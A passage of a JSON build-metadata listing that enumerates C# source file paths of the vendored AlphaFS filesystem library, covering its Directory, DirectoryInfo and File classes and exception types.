Time\\Directory.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjectsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectoryTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfosTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParent.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParentTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetProperties.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetPropertiesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.HasInheritedPermissions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmpty.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmptyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\AlreadyExistsException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DeviceNotReadyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryNotEmptyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\FileReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\InvalidTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotAReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotSameDeviceException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionalConflictException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyAbortedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyCommittedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnrecognizedReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnsupportedRemoteTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.RestartMoveOrThrowException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.ValidateFileOrDirectoryMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.VerifyDelayUntilReboot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.AppendTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyTimestampsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileStreamCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateHardlinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateSymbolicLinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.DeleteFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EncryptDecryptFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateAlternateDataStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateHardLinksCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ExistsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.FindAllStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAttributesExCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetChangeTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCompressedSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCreationTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetEncryptionStatusCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileIdInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileInfoByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileSystemEntryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetHashCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastAccessTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastWriteTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLinkTargetInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetProcessForFileLockCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ImportExportEncryptedFileDirectoryRawCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.IsLockedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.OpenCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReplaceCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAttributesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetFsoDateTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAppendAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ExportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.GetEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ImportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinks.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinksTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AttributeLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.FindFirstStreamNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHashTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLock.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLockTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLockedTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File 